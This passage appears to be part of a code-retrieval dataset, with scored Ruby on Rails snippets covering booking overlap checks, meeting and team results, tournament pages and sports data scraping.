@booking.bnookigEndDate && @booking.bnookigEndDate <= emprestimo.returnDate)\n @livre = false\n break\n end\n\n if( emprestimo.loanDate >= @booking.bookingStartDate && emprestimo.bnookigEndDate <= @booking.returnDate )\n @livre = false\n break\n end\n\n end\n return @livre\n end\n #fim do método\n\n respond_to do |format|\n if(!reserva)\n format.html { redirect_to bookings_path, notice: 'Já existe uma RESERVA deste livro para este período.' }\n elsif (!emprestimo)\n format.html { redirect_to bookings_path, notice: 'Já existe um EMPRÉSTIMO deste livro para este período.' }\n else\n if @booking.save\n format.html { redirect_to @booking, notice: 'Booking was successfully created.' }\n format.json { render :show, status: :created, location: @booking }\n else\n format.html { render :new }\n format.json { render json: @booking.errors, status: :unprocessable_entity }\n end\n end\n\n end\n end", "title": "" }, { "docid": "4198b9e55f549bf53c1fe6f4b486b808", "score": "0.58133864", "text": "def lost?\n book.status=\"lost\" if Time.now > (book.due_date + (30*24*60*60))\n end", "title": "" }, { "docid": "5651e9427d577b7f0ea016cb04d5d41d", "score": "0.58052343", "text": "def get_available_space_sunday(bookings_by_day)\n @bookings = bookings_by_day\n return_hash = Hash.new\n hash_of_times=[[12,00],[12,30],[13,00],[13,30],[14,00],[14,30],[15,00]]\n hash_of_times.each do |time|\n booking = @bookings.first.booking_date_time.change({ hour: time.first, min: time.second })\n \n if get_total_diners_for_current_time(booking) < max_diners_at_current_time(@bookings.first[:restaurant_id])\n return_hash[booking.strftime(\"%H:%M\")]= (max_diners_at_current_time(@bookings.first[:restaurant_id])- (get_total_diners_for_current_time(booking)))\n else\n end \n end\n return return_hash\n end", "title": "" }, { "docid": "a4c9735fc1c3448875fba1965457b30f", "score": "0.5803187", "text": "def create_or_update_booking_dates\n if check_in_changed? || check_out_changed?\n # Delete all booking dates if check in or check out changed\n booking_dates.delete_all\n # Adding all the dates of the check_in and check_out range into the reserved dates\n (check_in..check_out).each do |reserved_date| \n # Createing booking dates with specified reserved_date\n booking_dates.create(reserved_date: reserved_date)\n end\n end\n end", "title": "" }, { "docid": "42c965e845122316ec113ee6cb728638", "score": "0.5790538", "text": "def intangible?\n self.all_bookable?\n end", "title": "" }, { "docid": "605283a8e4cf2eb145c2593912134824", "score": "0.5775684", "text": "def check_overlapping_dates\n # compare this new reservation againsts existing reservations\n if start_date.present? and end_date.present?\n listing.reservations.each do |old_reservation|\n if overlap?(self, old_reservation)\n return errors.add(:The_dates_are_not_available, \"\")\n end\n end\n end\n end", "title": "" }, { "docid": "bae63b5807281720555417c9d9b2d284", "score": "0.5770343", "text": "def all_bookings\n Booking.none\n end", "title": "" }, { "docid": "74d4819e101a57109e879759045bac52", "score": "0.57667756", "text": "def has_member_booking_class()\n sql = \"SELECT COUNT(*)FROM bookings WHERE member_id = $1 AND gym_class_id = $2\"\n values = [@member_id, @gym_class_id]\n result = SqlRunner.run(sql, values).first\n return result['count'].to_i >= 1\n end", "title": "" }, { "docid": "44d252aa4f1731c915063a2e37b46715", "score": "0.57648253", "text": "def create\n\n @course = Course.find params[:booking][:course_id]\n\n @classroom = Classroom.find params[:booking][:classroom_id]\n @start = @course.start_date\n @end = @course.end_date\n @timeslot = params[:booking][:b_time]\n \n\n @days_of_week = params[:days_of_week]\n\n if @days_of_week.nil?\n render action: 'new', notice: 'please select at least one day'\n end\n\n @course_days = (@course.start_date..@course.end_date).to_a.map do |day|\n if @days_of_week.include? day.strftime('%A')\n day \n end\n end.compact\n\n @book_array = []\n @course_days.each do |d|\n if Booking.where('classroom_id = ? AND b_date = ? AND (b_time = ? OR b_time = ?)', @classroom.id, d.to_date, @timeslot, 'Day').count > 0\n redirect_to new_booking_path, notice: \"this classroom is not available on #{d} during #{@slot}\" and return\n else \n @book_array << Booking.new(classroom_id: @classroom.id, course_id: @course.id, b_date: d, b_time: @timeslot)\n end\n end\n \n @book_array.each do |b|\n b.save\n end\n redirect_to bookings_url\n\n end", "title": "" }, { "docid": "d9d0e9cfeb21bed0b428db303cac6ad0", "score": "0.5758159", "text": "def any_requested_booking_not_confirmed?\n count = 0\n index\n @requested_bookings.each do |booking|\n count += 1 if !booking.confirmed\n end\n true if count.positive?\n end", "title": "" } ]
82befc038aa5c1101705d6b7afd8021e
++ Show meeting results for Team's Goggle Cup (if any) === Params: id: Meeting row id. team_id: Team id.
[ { "docid": "e275abbe2f1e59a20a73cf236da50f61", "score": "0.7043193", "text": "def show_goggle_cup_results\n\n unless @team.has_goggle_cup_at?( @meeting.header_date )\n flash[:error] = I18n.t(:no_result_to_show)\n redirect_to( meetings_current_path() ) and return\n end\n\n @goggle_cup = @team.get_current_goggle_cup_at( @meeting.header_date )\n unless @goggle_cup\n flash[:error] = I18n.t(:no_result_to_show)\n redirect_to( meetings_current_path() ) and return\n end\n\n @mirs = @meeting.meeting_individual_results.includes(:swimmer, :event_type).for_team(@team).has_points('goggle_cup_points').unscope(:order).sort_by_goggle_cup\n unless @mirs.exists?\n flash[:error] = I18n.t(:no_result_to_show)\n redirect_to( meetings_current_path() ) and return\n end\n\n # Get a timestamp for the cache key:\n @max_updated_at = @meeting.meeting_individual_results.for_team(@team).has_points('goggle_cup_points').unscope(:order).order(:updated_at).last.updated_at.to_i\n end", "title": "" } ]
[ { "docid": "d0cd686029b5040e4681533f7d5792f3", "score": "0.6167522", "text": "def show\n\t\t@team = Team.find(params[:id])\n\t\tquery = @team.name\n\n\t\t# Pulls news articles about each team through Google RSS\n\t\tdata = party_time(\"https://news.google.com/news/feeds?q=#{query.downcase.gsub(/\\s/, '+')}&output=rss\")\n\t\t@articles = data[\"rss\"][\"channel\"][\"item\"]\n\n\t\t# Pulls upcoming fixtures for this team\n\t\t@data2 = party_time(\"http://api.statsfc.com/premier-league/fixtures.json?key=DThzCPsM_TI0XUGeUOJqr26JHwtYXVIfYvSSb0ui&team=#{query.downcase.gsub(/\\s/, '-')}&timezone=America/New_York&limit=5\")\n\n\t\t# Pulls past results for this team \n\t\t@data3 = party_time(\"http://api.statsfc.com/premier-league/results.json?key=DThzCPsM_TI0XUGeUOJqr26JHwtYXVIfYvSSb0ui&team=#{query.downcase.gsub(/\\s/, '-')}&timezone=America/New_York&limit=5\")\n\tend", "title": "" }, { "docid": "5cda9792ae43305c4bffcc719db4296d", "score": "0.5831001", "text": "def show\n @users_meetings = UsersMeeting.where(meeting_id_id: @meeting.id)\n end", "title": "" }, { "docid": "ad8104eb26cd0f4c6c21ba423ed5542f", "score": "0.5792768", "text": "def show\n @team = Team.find(params[:id])\n if @team.placeholder?\n redirect_to :root, notice: 'Inget riktigt lag.'\n return\n end\n @games = Game.where('home_id = ? OR away_id = ?', @team.id, @team.id).order(\"kickoff\")\n # Find all tips for the currently logged in user\n setup_user_tips_hash\n setup_winners_right_now\n calculate_odds\n\n @last_comment = Comment.order(\"updated_at DESC\").first\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end", "title": "" }, { "docid": "938820718cca02356003df60fa20b8f6", "score": "0.5747975", "text": "def show\n\t\t# People available to add to a team.\n\t\tnormal_users = User.normal.where(duplicate: false).order(:name)\n\t\t@users = normal_users.select { |u| !u.team && u.eligible? }\n\n\t\t@changes = @team.name_changes\n\n\t\t# n+1 :(\n\t\t@participations = @team.participations.order(:created_at).select { |p| p.game.completed? }\n\t\t@max_participation = @participations.max { |x, y| y.place <=> x.place }\n\t\t@games = Game.where(id: @participations.map(&:game_id))\n\tend", "title": "" }, { "docid": "0388caef273a25d965f53c8209c078c6", "score": "0.5714065", "text": "def show\n if @team == nil\n respond_to do |format|\n format.html { render 'showempty' }\n end\n return\n end\n if(!params[:name])\n respond_to do |format|\n format.html { redirect_to fullname_path(:name=>@team.name.gsub(/[^A-Za-z0-9_ ]/,\"\").gsub(\" \",\"_\")) }\n end\n return\n # render :search\n # return\n end\n events = @team.data_competitions.split(\"|\")\n @competitions = []\n for meet in events\n @competitions.push(Event.find(meet.gsub(\"_\",\"\")))\n end\n @avgAuto = 0\n @important = -1\n if(@competitions.length != 0)\n @competitions = @competitions.sort_by { |k,_| Date.strptime(k.date,\"%m/%d/%Y\") }.reverse\n compet = []\n @competitions.each do |com|\n alldata = com.data_competition.split(\"|\")\n allraw = []\n if(com.advancedraw)\n raws = com.data_raw.split(\"|\")\n raws.each do |raw| allraw.push(raw.split(\",\")) end\n end\n meetdat = []\n meet = Hash.new\n meet[:wins] = 0\n meet[:draws] = 0\n for c in alldata\n comp = c.split(\",\")\n if((\",\"+ comp[1,6].join(\",\")+\",\").include?(\",#{@team.id},\"))\n # puts c\n dat = Hash.new\n dat[:name] = comp[0]\n # Now we find that in the allRaw\n dat[:redraw] = \"\"\n dat[:blueraw] = \"\"\n for raw in allraw\n if(raw[0] == comp[0])\n dat[:redraw] = raw[1,14].join(\",\")\n dat[:blueraw] = raw[15,14].join(\",\")\n break;\n end\n end\n if comp[3].to_i == 0\n dat[:redteam] = comp[1,2]\n dat[:blueteam] = comp[4,2]\n dat[:numteams] = 3\n else\n dat[:redteam] = comp[1,3]\n dat[:blueteam] = comp[4,3]\n dat[:numteams] = 2\n end\n if(com.advanceddata)\n #dat = \"#{event.redscore},#{event.redauto},#{event.redteleop},#{event.redend},#{event.redpenalty}\"\n dat[:reddetails] = comp[7,6].join(\",\")\n dat[:bluedetails] = comp[13,6].join(\",\")\n dat[:redscore] = comp[7]\n dat[:bluescore] = comp[13]\n else\n dat[:reddetails] = \"\"\n dat[:bluedetails] = \"\"\n dat[:redscore] = comp[7]\n dat[:bluescore] = comp[8]\n end\n\n if((\",\"+ comp[1,3].join(\",\")+\",\").include?(\",#{@team.id},\"))\n # Red\n dat[:ownscore] = dat[:redscore]\n dat[:oppscore] = dat[:bluescore]\n dat[:owndetails] = dat[:reddetails]\n dat[:oppdetails] = dat[:bluedetails]\n\n dat[:ownraw] = dat[:redraw]\n dat[:oppraw] = dat[:blueraw]\n else\n dat[:ownscore] = dat[:bluescore]\n dat[:oppscore] = dat[:redscore]\n dat[:owndetails] = dat[:bluedetails]\n dat[:oppdetails] = dat[:reddetails]\n\n dat[:ownraw] = dat[:blueraw]\n dat[:oppraw] = dat[:redraw]\n end\n if dat[:ownscore].to_i > dat[:oppscore].to_i\n meet[:wins] += 1\n elsif dat[:ownscore].to_i == dat[:oppscore].to_i\n meet[:draws] += 1\n end\n meetdat.push(dat)\n end\n end\n allstats = com.data_stats.split(\"|\")\n for s in allstats\n spl = s.split(\",\")\n if(spl[0] == @team.id.to_s)\n meet[:rank] = spl[1]\n meet[:rank_all] = allstats.length\n break\n end\n end\n meet[:data] = meetdat\n meet[:meet] = com\n compet.push(meet)\n end\n @competitions = compet\n # raise\n @avgPreScore = 0\n\n\n @avgTele = 0\n @avgEnd = 0\n @avgAuto = 0\n @totalMatches = 0\n @avgData = []\n # More data analysis\n @competitions.each_with_index do |meet,i|\n # ONLY DETAILED DATA HAS IT\n #dat = \"#{event.redscore},#{event.redauto},#{event.redteleop},#{event.redend},#{event.redpenalty}\"\n @avgPreScore = 0\n @avgTele = 0\n @avgEnd = 0\n @avgAuto = 0\n @teleBallsScored = 0\n @totalMatches = 0\n @autoBeaconsPressed = 0\n @fff = false\n meet[:data].each do |event|\n if(event[:owndetails].length > 0)\n # Only include QUAL MATCHES\n if(event[:name][0] != \"Q\")\n next\n end\n det = event[:owndetails].split(\",\")\n @avgPreScore += event[:ownscore].to_i - det[5].to_i\n @avgTele += det[3].to_i\n @avgEnd += det[4].to_i\n @avgAuto += det[1].to_i\n @totalMatches += 1\n if (event[:ownraw].length > 0 )\n @fff = true\n det2 = event[:ownraw].split(\",\")\n @autoBeaconsPressed += det2[0].to_i\n @teleBallsScored += det2[7].to_i\n end\n if(@important == -1)\n @important = i\n end\n end\n end\n if(@totalMatches > 0 )\n @avgTele /= @totalMatches\n @avgEnd /= @totalMatches\n @avgAuto /= @totalMatches\n @avgPreScore /= @totalMatches\n\n @autoBeaconsPressed /= 1.0 * @totalMatches\n @teleBallsScored /= 1.0 * @totalMatches\n end\n @avgData.push([@totalMatches,@avgPreScore,@avgAuto,@avgTele,@avgEnd,@fff,@autoBeaconsPressed,@teleBallsScored])\n end\n end\n end", "title": "" }, { "docid": "c2b5d45e2a8b174191a41b8b7d8d4942", "score": "0.5573561", "text": "def show\n @meet_up_comment = MeetUpComment.in_conference(current_conference).\n find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n end\n end", "title": "" }, { "docid": "f937e5b5ab2b5f2641cbf3f549bf39ca", "score": "0.5570029", "text": "def team\n @team = Team.find(params[:team_id])\n set_date_and_year\n @results = Result.all(\n :conditions => [ \"team_id = ? and year = ? and competition_result = false and team_competition_result = false\", @team.id, @date.year ]\n )\n end", "title": "" }, { "docid": "4fa2abfcbc30d463ab8a0e5bb4266ac4", "score": "0.55083776", "text": "def team\n @team = Team.find(params[:team_id])\n set_date_and_year\n @results = Result.all(\n :conditions => [ \"team_id = ? and year = ? and competition_result = false and team_competition_result = false\", @team.id, @date.year ]\n )\n respond_to do |format|\n format.html\n format.json { render :json => @results.to_json }\n format.xml { render :xml => @results.to_xml }\n end\n end", "title": "" }, { "docid": "84dcb850a5c6b0c458e0ce1417ef33bf", "score": "0.54992217", "text": "def show\n @group = Group.find(params[:id])\n @meetups = Meetup.where(\"group_id = ?\", @group.id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @group }\n end\n end", "title": "" }, { "docid": "0c3b6d636fccff20b487f481dc71e6b5", "score": "0.5498148", "text": "def results\n \t\t@teams = Team.all\n\tend", "title": "" }, { "docid": "2b24cb7e652f42e1bc3de01070e9b8fe", "score": "0.5494124", "text": "def show_team_entries\n @meeting_events_list = @meeting.meeting_events\n .joins(:event_type, :stroke_type)\n .includes(:event_type, :stroke_type)\n .order('meeting_events.event_order')\n\n # Get a timestamp for the cache key:\n @max_entry_updated_at = get_timestamp_from_relation_chain(:meeting_entries)\n end", "title": "" }, { "docid": "5d738a19286d34b015a542bc2ccb4124", "score": "0.5464241", "text": "def show_stats\n # Using MeetingStat\n @meeting_stat_calculator = MeetingStatCalculator.new(@meeting)\n @meeting_stats = @meeting_stat_calculator.calculate\n\n @preselected_team_id = params[:team_id]\n\n # Get a timestamp for the cache key:\n @max_updated_at = get_timestamp_from_relation_chain() # default: MIR\n end", "title": "" }, { "docid": "7cd6e67ad42250d7e269af08690e0d84", "score": "0.5452121", "text": "def show\n @meeting = Meeting.find(params[:id])\n end", "title": "" }, { "docid": "65c868dd532db8369b123afa24698524", "score": "0.5450485", "text": "def forassignment\n @meetings = Meeting.needing_assignments params[:club_id]\n render :layout => 'admins' \n end", "title": "" }, { "docid": "3d13a7a777fd690ba11ba8b30a7ff866", "score": "0.5449778", "text": "def show\n @coach = Coach.includes(:team).find(params[:id])\n end", "title": "" }, { "docid": "935a495e748057ea75f4491043fb7df4", "score": "0.54452384", "text": "def show\n @team = Team.find(params[:team_id])\n @event = Event.find(params[:id])\n @hacks = Hack.joins(:team).where(:teams => { :id => params[:team_id] })\n @hackers = User.joins(:teams).where(:affiliations => {:team_id => params[:team_id]})\n\n @affiliation = Affiliation.joins(:user).joins(:team).where(:teams => {:id => params[:team_id]}).where(:users => { :id => current_user.id }).first\n @is_member = false\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end", "title": "" }, { "docid": "3fef0a74524064517cc37dbab87ac678", "score": "0.54388463", "text": "def show\n @meeting = Meeting.find(params[:id])\n\n end", "title": "" }, { "docid": "056ee1391cd7823b908452c4ad8ede80", "score": "0.5425462", "text": "def show\n @api_key = ENV.fetch('GOOGLE_MAPS_API_KEY')\n @current_meetup = Meetup.find(params[:id])\n end", "title": "" }, { "docid": "8a127759152cb6ca1f02d8015b4cd5c5", "score": "0.542179", "text": "def index\n @coaches_teams = CoachesTeam.all\n end", "title": "" }, { "docid": "f5574f1197f37236566fe4402e2374d1", "score": "0.54147387", "text": "def show_team_clue\n data = {cell_num: params[:cell_num],\n across: params[:across],\n red: params[:red],\n green: params[:green],\n blue: params[:blue],\n solver_id: params[:solver_id]\n }\n Pusher.trigger(params[:channel], 'outline_team_clue', data)\n render nothing: true\n end", "title": "" }, { "docid": "08dcdc7fcd121d28312890217c319893", "score": "0.54067224", "text": "def show\n @meeting = Meeting.with_deleted.find(params[:id])\n @atendess = Atendee.where(meeting_id: @meeting.id)\n @presenters = Presenter.where(meeting_id: @meeting.id)\n @users = User.all\n end", "title": "" }, { "docid": "9fdf6395a1178c09229f3791c4efb97d", "score": "0.5394052", "text": "def show\n @events = TeamMember.smash(@team_member.meeting)\n end", "title": "" }, { "docid": "4acb0029abae7fb2f17e8f3ee51d0268", "score": "0.5391626", "text": "def get_teams\n self.get_page\n # this step above sets @ec_HtmlTable equal to the HTML code responsible for displaying !!DONE!!\n # the top 8 Eastern Conference Teams, and their seed, record, and name !!DONE!!\n i = 0\n @ecTeams = []\n @wcTeams = []\n # Tables are divided by conference. Table 1 is Eastern !!DONE!!\n @ec_HtmlTable = @html_doc.css(\".wikitable\")[1]\n until i == 8 \n newTeamHtml = @ec_HtmlTable.css(\"tr\")[2 + i].text.split(\"\\n\")\n thisRank = newTeamHtml[1].to_i\n thisName = newTeamHtml[2]\n thisRecord = newTeamHtml[3]\n newTeam = Team.create(thisName, thisRank, 'Eastern', thisRecord)\n @ecTeams << newTeam\n i = i + 1\n end\n # Tables are divided by conference. Table 2 is Western !!DONE!!\n @wc_HtmlTable = @html_doc.css(\".wikitable\")[2]\n j = 0\n until j == 8\n newTeamHtml = @wc_HtmlTable.css(\"tr\")[2 + j].text.split(\"\\n\")\n thisRank = newTeamHtml[1].to_i\n thisName = newTeamHtml[2]\n thisRecord = newTeamHtml[3]\n newTeam = Team.create(thisName, thisRank, 'Western', thisRecord)\n @wcTeams << newTeam\n j = j + 1\n end\n \n end", "title": "" }, { "docid": "6332e31d3551c2052ac95af5cddfe3b8", "score": "0.5353101", "text": "def show\n @leagues_teams = LeaguesTeams.find_all_by_league_id(@league.id, :order => :group_number)\n @league_groups = Hash.new\n @leagues_teams.each do |league_team|\n if (!@league_groups[league_team.group_number]) \n @league_groups[league_team.group_number] = Array.new\n end\n @league_groups[league_team.group_number].push(league_team)\n end\n\n\n @matches = Match.where(:league_id => @league.id, :is_playoff => false).order(:league_date)\n\n # remove this hack !!! and use the proper group\n group_id = 40\n\n user_group_member = UserGroupMember.joins(:user_group)\n .where( :user_id => current_user.id, \n :user_group_id => group_id,\n :user_groups => { :league_id => @league.id }\n ).first\n # get user bets for group matches\n @user_bets = Hash.new\n @matches.each do |match|\n @user_bets[match.id] = match.bets.where(:match_id => match.id, :user_group_member_id => user_group_member.id).first\n end\n\n @groups_matches = Hash.new\n @matches.each do |match|\n if (!@groups_matches[match.league_date]) \n @groups_matches[match.league_date] = Array.new\n end\n @groups_matches[match.league_date].push(match)\n end\n\n @matches = Match.where(:league_id => @league.id, :is_playoff => true).order(:league_date)\n\n # get user bets for playoff matches\n @matches.each do |match|\n @user_bets[match.id] = match.bets.where(:match_id => match.id, :user_group_member_id => user_group_member.id).first\n end\n\n @playoff_matches = Hash.new\n @matches.each do |match|\n if (!@playoff_matches[match.league_date]) \n @playoff_matches[match.league_date] = Array.new\n end\n @playoff_matches[match.league_date].push(match)\n end\n\n @playoff_labels = Hash.new\n @playoff_labels[1] = 'Octavos'\n @playoff_labels[2] = 'Cuartos'\n @playoff_labels[3] = 'Semifinal'\n @playoff_labels[4] = '3er y 4to Puesto'\n @playoff_labels[5] = 'Final'\n end", "title": "" }, { "docid": "9489448a5dc92d6d59784f99d022918a", "score": "0.5336909", "text": "def show\n #@meeting_thread = MeetingThread.find(params[:id])\n if @current_user.is?(\"Turker\")\n @calendar_guess = @meeting_thread.calendar_guesses.build \n end\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meeting_thread }\n end\n end", "title": "" }, { "docid": "62c800d2646b1f5ad18f47af06fd38b1", "score": "0.5329671", "text": "def show\n @title = \"ミーティング詳細\"\n @catch_phrase = \"  ミーティングの詳細情報を表示します。\"\n \n @meeting = Meeting.joins(\"JOIN users ON users.id = meetings.user_id\").find(params[:id])\n #@meeting = Meeting.find(params[:id], :include => [:user_id, :email])\n \n @datas = []\n @datas = Minute.where(\"meeting_id='\" << params[:id] << \"'\")\n if @datas.exists? then\n @minute_id = @datas[0].id\n @exist_minute = 1\n else\n @minute_id = \"なし\"\n @exist_minute = 0\n end\n \n @datas = []\n @datas = Todo.where(\"meeting_id='\" << params[:id] << \"'\")\n if @datas.exists? then\n @exist_todo = 1\n else\n @exist_todo = 0\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @meeting }\n end\n end", "title": "" }, { "docid": "75a5f82ac9164ccd7b3d54b5d1cb891a", "score": "0.532229", "text": "def teams_data\n # selected_team = self.class.all[prompt.to_i-1]\n puts \"\"\n puts \"---------------------------\"\n puts \"Team Name: \" + self.full_name\n puts \"City: \" + self.city\n puts \"Division: \" + self.division\n puts \"Conference: \" + self.conference\n puts \"\"\n puts \"---------------------------\"\n end", "title": "" }, { "docid": "987d655ce466e259961f9318d9749bb5", "score": "0.5277431", "text": "def get_runner_gv(result,course,meet_id)\n return get_initial_gv(result) if @c_runner_gv[result.runner_id].nil?\n @c_runner_gv[result.runner_id][:cgv]\n end", "title": "" }, { "docid": "b7b683cf87ff0641ab0ee0af867f7d2f", "score": "0.52714485", "text": "def search_team\n # [Steve, 20161001] We need to whitelist all parameters for the search query:\n params.permit!()\n @title = I18n.t(:search_by_team, { scope: [:meeting] })\n @teams_grid = initialize_grid(\n Team,\n order: 'teams.name',\n order_direction: 'asc',\n per_page: 20\n )\n end", "title": "" }, { "docid": "d57ddc9d783b68ce567cce4b4529ab21", "score": "0.5270933", "text": "def show_team_results\n # Get the events filtered by team_id:\n mir = @meeting.meeting_individual_results.for_team(@team).unscope(:order)\n mrr = @meeting.meeting_relay_results.for_team(@team).unscope(:order)\n unless ( mir.exists? || mrr.exists? )\n flash[:error] = I18n.t(:no_result_to_show)\n redirect_to( meetings_current_path() ) and return\n end\n\n # Get the swimmer list and some stats:\n @meeting_team_swimmers = mir.joins(:swimmer).includes(:swimmer)\n .group(:swimmer_id)\n .order('swimmers.complete_name ASC')\n .map{ |row| row.swimmer }\n\n # TODO\n # Refactor with medal_types\n @team_ranks_1 = mir.is_valid.has_rank(1).count\n @team_ranks_2 = mir.is_valid.has_rank(2).count\n @team_ranks_3 = mir.is_valid.has_rank(3).count\n @team_ranks_4 = mir.is_valid.has_rank(4).count\n\n # Calculate team highligths\n @team_outstanding_scores = mir.is_valid.for_over_that_score().count # Use default standard_points and 800\n\n # Collect an Hash with the swimmer_id pointing to the description of all the events performed by each swimmer:\n meeting_team_swimmers_ids = @meeting_team_swimmers.collect{|row| row.id}\n @events_per_swimmers = {}\n meeting_team_swimmers_ids.each do |id|\n @events_per_swimmers[ id ] = mir\n .where([ 'meeting_individual_results.swimmer_id = ?', id ])\n end\n\n ind_event_ids = mir.map{ |row| row.meeting_event.id }.uniq\n rel_event_ids = mrr.map{ |row| row.meeting_event.id }.uniq\n event_ids = (ind_event_ids + rel_event_ids).uniq.sort\n @team_tot_events = event_ids.size\n @meeting_events_list = MeetingEvent.where( id: event_ids )\n .joins( :event_type, :stroke_type )\n .includes( :event_type, :stroke_type )\n .order( 'event_types.is_a_relay, meeting_events.event_order' )\n # Add to the stats the relay results:\n @team_ranks_1 += mrr.is_valid.has_rank(1).count\n @team_ranks_2 += mrr.is_valid.has_rank(2).count\n @team_ranks_3 += mrr.is_valid.has_rank(3).count\n @team_ranks_4 += mrr.is_valid.has_rank(4).count\n @team_outstanding_scores += mrr.is_valid.for_over_that_score().count\n\n # Get the programs filtered by team_id:\n ind_prg_ids = MeetingIndividualResult.joins(:meeting, :meeting_program)\n .includes(:meeting, :meeting_program)\n .where([\n 'meetings.id = ? AND meeting_individual_results.team_id = ?',\n @meeting.id, @team.id\n ])\n .map{ |row| row.meeting_program_id }\n .uniq\n\n rel_prg_ids = MeetingRelayResult.joins(:meeting, :meeting_program)\n .includes(:meeting, :meeting_program)\n .where([\n 'meetings.id = ? AND meeting_relay_results.team_id = ?',\n @meeting.id, @team.id\n ])\n .map{ |row| row.meeting_program_id }\n .uniq\n\n prg_ids = (ind_prg_ids + rel_prg_ids).uniq.sort\n @meeting_programs_list = MeetingProgram.where( id: prg_ids )\n .joins( :event_type, :stroke_type )\n .includes( :event_type, :stroke_type )\n .order( 'event_types.is_a_relay, meeting_events.event_order' )\n\n # Find out top scorer\n @top_scores = {}\n if mir.has_points.exists?\n GenderType.individual_only.each do |gender_type|\n @top_scores[\"#{gender_type.code}-standard_points\"] = mir.for_gender_type( gender_type ).sort_by_standard_points.first if mir.for_gender_type( gender_type ).has_points.exists?\n end\n end\n if mir.has_points('goggle_cup_points').exists?\n @top_scores[\"goggle_cup_points\"] = mir.sort_by_goggle_cup.first\n end\n\n # Get a timestamp for the cache key:\n max_mir_updated_at = mir.exists? ? mir.select( \"meeting_individual_results.updated_at\" ).order(:updated_at).last.updated_at.to_i : 0\n max_mrr_updated_at = mrr.exists? ? mrr.select( \"meeting_relay_results.updated_at\" ).order(:updated_at).last.updated_at.to_i : 0\n @max_updated_at = max_mir_updated_at >= max_mrr_updated_at ? max_mir_updated_at : max_mrr_updated_at\n end", "title": "" }, { "docid": "43e35cb4f1ba0a34bc192d772a3a4b82", "score": "0.5270533", "text": "def show\n @pending_players = PendingPlayer.where(\"tournament_id = #{params[:id]}\")\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tournament }\n end\n end", "title": "" }, { "docid": "a83b73b20c161c5efaf28cf36d625ea5", "score": "0.52693146", "text": "def get_team_games(team)\n # Set Up\n doc = getHTML(\"http://espn.go.com/mens-college-basketball/team/schedule/_/id/#{team.webExt}\")\n\n table = doc.xpath('//table[@class = \"tablehead\"]')\n rows = table.css('tr')\n\n # Loop through each row\n rows.each do |row|\n if(row.css('li').count > 3)\n linkHref = row.css('li[@class =\"score\"]')[0].css('a[href]')[0]\n if(linkHref != nil)\n link = linkHref[\"href\"].scan(/(.*=)(\\d+)/)\n gameID = link[0][1] \n if(Game.where(gameID: gameID).empty?)\n # get Date\n date = row.css(\"td\")[0].text\n # get opp\n opp = row.css('li[@class =\"team-name\"]').text\n # get HOME/away (vs/@)\n loc = row.css('li[@class =\"game-status\"]').text\n if(loc == \"@\")\n homeTeam = team.name\n awayTeam = opp\n else\n homeTeam = opp\n awayTeam = team.name\n end\n \n # Creates Game Entry\n game = Game.create(gameID: gameID, date: date, homeTeam: homeTeam, awayTeam: awayTeam)\n # Gets more game stats\n get_game_stats(game)\n end\n end\n end\n end\n end", "title": "" }, { "docid": "c59748e243540a9785f0e1101c3d25aa", "score": "0.52590674", "text": "def show\n (kick and return) if not is_god?\n @team = Team.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @team }\n end\n end", "title": "" }, { "docid": "d32815c1cf7d62fe1aecc5d97efb8e24", "score": "0.5257079", "text": "def show\n @leaguemembers = League.find(params[:id]).users\n @matches = Match.where(:league_id => params[:id])\n \n end", "title": "" }, { "docid": "ab217d643e7d3a16f969ccaa7eb2e45c", "score": "0.52528745", "text": "def show\n @participated = false\n # continue here\n @rounds = @tournament.rounds\n if current_user\n @characters = current_user.characters\n @characters.each do |character|\n @chatours = character.tournaments\n @chatours.each do |chatour|\n if chatour.id == @tournament.id\n @participated = true\n @character = character\n end\n end\n end\n end \n\n end", "title": "" }, { "docid": "e5e1f08e813bbd4dd67c3b0023085909", "score": "0.5246368", "text": "def get_meetings\n prepare\n @api.get_meetings\n end", "title": "" }, { "docid": "da925a1692c707c958cf0a58e8f55464", "score": "0.524405", "text": "def show\n @user_teams = @game.team.user_teams\n end", "title": "" }, { "docid": "a484537f9e8d8fe23feb6018ec27ef7b", "score": "0.52362394", "text": "def index\n @meet_up_comments = MeetUpComment.in_conference(current_conference).all\n\n respond_to do |format|\n format.html # index.html.erb\n end\n end", "title": "" }, { "docid": "a86eb83e0d28d10c533cc8e4da2b710b", "score": "0.52360046", "text": "def get_meeting_info(id)\n prepare\n @api.get_meeting_info(id, nil)\n end", "title": "" }, { "docid": "0ac94226ed739d5c2a860cf5f98df6bf", "score": "0.5232984", "text": "def show\n @meeting = Meeting.find(params[:id])\n if @meeting\n @attendee = @meeting.attendee_with_user(current_user) || Attendee.new\n @attendees = @meeting.attendees.find_all_by_rsvp(\"Yes\")\n end\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @meeting }\n end\n end", "title": "" }, { "docid": "748e679f1f30aac24b6a9fc63f6b3d42", "score": "0.52321666", "text": "def show\n @meetup = Meetup.find_by(id: params[:id])\n end", "title": "" }, { "docid": "a58ab43d3017b46d7e6efa3f735487a9", "score": "0.52301097", "text": "def index\n @games = Game.find_all_by_meeting_id(@meeting.id)\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @games }\n end\n end", "title": "" }, { "docid": "45eae20efd2811d6c4b7918ccf5e4ab7", "score": "0.5224115", "text": "def show\n #@teams = Team where\n @bracket = Bracket.find(params[:id])\n @teams = Team.where(\"age_group_id = ?\", @bracket[:age_group_id])\n @games = Game.where(\"bracket_id = ?\", @bracket[:id])\n\n @numTeams = @teams.count\n @numGames = @numTeams - 1\n end", "title": "" }, { "docid": "abc56e8f1860e862f1770808c3019970", "score": "0.52215844", "text": "def show\n @competition = Competition.includes(:challenges).find(params[:id])\n end", "title": "" }, { "docid": "4c08785f58effc243b7ac4e3a1b3cb2b", "score": "0.5219634", "text": "def closed_goggle_cup\n unless ( params[:id] ) && GoggleCup.exists?( params[:id].to_i )\n flash[:error] = I18n.t(:invalid_action_request)\n redirect_back( fallback_location: root_path ) and return\n end\n\n # Gets closed goggle 